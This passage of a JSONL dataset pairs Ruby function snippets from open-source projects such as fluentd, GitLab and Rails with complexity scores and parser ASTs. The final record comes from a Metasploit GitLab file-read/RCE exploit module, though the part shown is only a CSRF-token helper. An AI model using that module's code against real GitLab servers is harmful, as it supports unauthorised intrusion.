     next if current.include?(\"REVOKED\")\n        begin\n          (ids << current.match(/.*\\) ([[:xdigit:]]*) \\\".*/)[1])\n        rescue\n          # the last line does not match\n        end\n      end\n\n      return ids\n    end","complexity_score":24.23,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"installed_identities\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"in_keychain\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"install_missing_wwdr_certificates\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_keychain\"]},{\"type\":\"lvar\",\"children\":[\"in_keychain\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"available\",{\"type\":\"send\",\"children\":[null,\"list_available_identities\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_keychain\"]},{\"type\":\"lvar\",\"children\":[\"in_keychain\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b0 valid identities found\\\\b\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"available\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"There are no local code signing identities found.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"You can run\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" `security find-identity -v -p codesigning \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_keychain\"]}]}]},\"rstrip\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"` to get this output.\"]}]},{\"type\":\"str\",\"children\":[\"This Stack Overflow thread has more information: https://stackoverflow.com/q/35390072/774.\"]},{\"type\":\"str\",\"children\":[\"(Check in Keychain Access for an expired WWDR certificate: https://stackoverflow.com/a/35409835/774 has more info.)\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"include?\",{\"type\":\"str\",\"children\":[\"REVOKED\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".*\\\\) ([[:xdigit:]]*) \\\\\\\".*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}","id":"e4539f3d-158d-4c33-8326-1d67a4434e3b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_forward.rb","start_line":193,"raw_source":"def handle_connection(conn)\n      send_data = ->(serializer, data){ conn.write serializer.call(data) }\n\n      log.trace \"connected fluent socket\", addr: conn.remote_addr, port: conn.remote_port\n      state = :established\n      nonce = nil\n      user_auth_salt = nil\n\n      if @security\n        # security enabled session MUST use MessagePack as serialization format\n        state = :helo\n        nonce = generate_salt\n        user_auth_salt = generate_salt\n        send_data.call(:to_msgpack.to_proc, generate_helo(nonce, user_auth_salt))\n        state = :pingpong\n      end\n\n      log.trace \"accepted fluent socket\", addr: conn.remote_addr, port: conn.remote_port\n\n      read_messages(conn) do |msg, chunk_size, serializer|\n        case state\n        when :pingpong\n          success, reason_or_salt, shared_key = check_ping(msg, conn.remote_addr, user_auth_salt, nonce)\n          unless success\n            conn.on(:write_complete) { |c| c.close_after_write_complete }\n            send_data.call(serializer, generate_pong(false, reason_or_salt, nonce, shared_key))\n            next\n          end\n          send_data.call(serializer, generate_pong(true, reason_or_salt, nonce, shared_key))\n\n          log.debug \"connection established\", address: conn.remote_addr, port: conn.remote_port\n          state = :established\n        when :established\n          options = on_message(msg, chunk_size, conn)\n          if options && r = response(options)\n            log.trace \"sent response to fluent socket\", address: conn.remote_addr, response: r\n            conn.on(:write_complete) { |c| c.close } if @deny_keepalive\n            send_data.call(serializer, r)\n          else\n            if @deny_keepalive\n              conn.close\n            end\n          end\n        else\n          raise \"BUG: unknown session state: #{state}\"\n        end\n      end\n    end","complexity_score":86.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"send_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"serializer\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"trace\",{\"type\":\"str\",\"children\":[\"connected fluent socket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"sym\",\"children\":[\"established\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user_auth_salt\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@security\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"sym\",\"children\":[\"helo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[null,\"generate_salt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_auth_salt\",{\"type\":\"send\",\"children\":[null,\"generate_salt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_data\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_msgpack\"]},\"to_proc\"]},{\"type\":\"send\",\"children\":[null,\"generate_helo\",{\"type\":\"lvar\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"user_auth_salt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"sym\",\"children\":[\"pingpong\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"trace\",{\"type\":\"str\",\"children\":[\"accepted fluent socket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_port\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_messages\",{\"type\":\"lvar\",\"children\":[\"conn\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"arg\",\"children\":[\"chunk_size\"]},{\"type\":\"arg\",\"children\":[\"serializer\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"pingpong\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\"]},{\"type\":\"lvasgn\",\"children\":[\"reason_or_salt\"]},{\"type\":\"lvasgn\",\"children\":[\"shared_key\"]}]},{\"type\":\"send\",\"children\":[null,\"check_ping\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_addr\"]},{\"type\":\"lvar\",\"children\":[\"user_auth_salt\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"on\",{\"type\":\"sym\",\"children\":[\"write_complete\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"close_after_write_complete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_data\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"serializer\"]},{\"type\":\"send\",\"children\":[null,\"generate_pong\",{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason_or_salt\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"shared_key\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_data\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"serializer\"]},{\"type\":\"send\",\"children\":[null,\"generate_pong\",{\"type\":\"true\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason_or_salt\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"shared_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"connection established\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"sym\",\"children\":[\"established\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"established\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"on_message\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"chunk_size\"]},{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"response\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"trace\",{\"type\":\"str\",\"children\":[\"sent response to fluent socket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"remote_addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deny_keepalive\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"on\",{\"type\":\"sym\",\"children\":[\"write_complete\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"close\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_data\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"serializer\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deny_keepalive\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"close\"]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: unknown session state: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}]}]}]}]}","id":"aea2726a-b83f-4f6a-ad74-a3f6fe917189"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner.rb","start_line":433,"raw_source":"def belongs_to_more_than_one_project?\n      runner_projects.many?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"belongs_to_more_than_one_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_projects\"]},\"many?\"]}]}","id":"d902eed4-e925-4732-9158-83d75a986c72"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/has_many_association.rb","start_line":127,"raw_source":"def delete_records(records, method)\n          if method == :destroy\n            records.each(&:destroy!)\n            update_counter(-records.length) unless reflection.inverse_updates_counter_cache?\n          else\n            query_constraints = reflection.klass.composite_query_constraints_list\n            values = records.map { |r| query_constraints.map { |col| r._read_attribute(col) } }\n            scope = self.scope.where(query_constraints => values)\n            update_counter(-delete_count(method, scope))\n          end\n        end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"destroy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"inverse_updates_counter_cache?\"]},null,{\"type\":\"send\",\"children\":[null,\"update_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"length\"]},\"-@\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_constraints\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"klass\"]},\"composite_query_constraints_list\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_constraints\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"_read_attribute\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_constraints\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_count\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"-@\"]}]}]}]}]}","id":"c7fe2b6d-cc35-4281-99a2-9edcc55274fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/otp.rb","start_line":11,"raw_source":"def fresh_otp\n        otps = []\n\n        # Fetches a fresh OTP and returns it only after rotp provides the same OTP twice\n        # An OTP is valid for 30 seconds so 70 attempts with 0.5 interval would ensure we complete 1 cycle\n\n        QA::Runtime::Logger.debug(\"Fetching a fresh OTP...\")\n        Support::Retrier.retry_until(max_attempts: 70, sleep_interval: 0.5, log: false) do\n          otps << @rotp.now\n          otps.size >= 3 && otps[-1] == otps[-2] && otps[-1] != otps[-3]\n        end\n\n        QA::Runtime::Logger.debug(\"Fetched OTP: #{otps.last}\")\n        otps.last\n      end","complexity_score":26.18,"ast_json":"{\"type\":\"def\",\"children\":[\"fresh_otp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"otps\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Fetching a fresh OTP...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_attempts\"]},{\"type\":\"int\",\"children\":[70]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rotp\"]},\"now\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"size\"]},\">=\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"[]\",{\"type\":\"int\",\"children\":[-3]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetched OTP: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"last\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"otps\"]},\"last\"]}]}]}","id":"a1c14746-f508-4932-9399-a3ba824f1003"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":131,"raw_source":"def commit_by(oid:)\n    return @commit_cache[oid] if @commit_cache.key?(oid)\n\n    @commit_cache[oid] = find_commit(oid)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_by\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"oid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit_cache\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit_cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"oid\"]},{\"type\":\"send\",\"children\":[null,\"find_commit\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]}]}]}]}","id":"5885c407-d55f-4236-885c-325ab0bc7dd9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/config/assertions.rb","start_line":26,"raw_source":"def assert_parse_error(actual)\n    msg = begin\n            parse_text(actual).inspect\n          rescue => e\n            e.inspect\n          end\n    msg = \"expected that #{actual.inspect} would cause a parse error but got #{msg}\"\n    assert_block(msg) {\n      begin\n        parse_text(actual)\n        false\n      rescue Fluent::ConfigParseError\n        true\n      end\n    }\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_parse_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_text\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]},\"inspect\"]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"inspect\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected that \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" would cause a parse error but got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_block\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_text\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigParseError\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}]}","id":"6c39a977-e644-453d-8013-e6d2f5a3ca46"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/subscriber.rb","start_line":69,"raw_source":"def method_added(event)\n        super\n        # Only public methods are added as subscribers, and only if a notifier\n        # has been set up. This means that subscribers will only be set up for\n        # classes that call #attach_to.\n        if public_method_defined?(event) && notifier\n          add_event_subscriber(event)\n        end\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"method_added\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_method_defined?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"notifier\"]}]},{\"type\":\"send\",\"children\":[null,\"add_event_subscriber\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},null]}]}]}","id":"709128c9-53df-4541-a8fa-b1adc1d0bbb1"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/command/todo_list_command.rb","start_line":34,"raw_source":"def smells\n          @smells ||= sources.map do |source|\n            Examiner.new(source, filter_by_smells: smell_names)\n          end.map(&:smells).flatten\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"smells\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@smells\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sources\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Examiner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_by_smells\"]},{\"type\":\"send\",\"children\":[null,\"smell_names\"]}]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"smells\"]}]}]},\"flatten\"]}]}]}","id":"40b676a7-7bb4-4e24-b8e9-83e0e56e509f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitlab_file_read_rce.rb","start_line":311,"raw_source":"def extract_csrf_token(path:, regex:)\n      res = http_client.send_request_cgi({\n        'method' => 'GET',\n        'uri' => path,\n        'keep_cookies' => true\n      })\n\n      if res.nil? || res.body.nil?\n        raise GitLabClientException, 'Empty response. Please validate RHOST'\n      elsif res.code != 200\n        raise GitLabClientException, \"Unexpected HTTP #{res.code} response.\"\n      end\n\n      token = res.body[regex, 1]\n      if token.nil?\n        raise GitLabClientException, 'Could not successfully extract CSRF token'\n      end\n\n      token\n    end","complexity_score":22.83,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_csrf_token\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"path\"]},{\"type\":\"kwarg\",\"children\":[\"regex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GitLabClientException\"]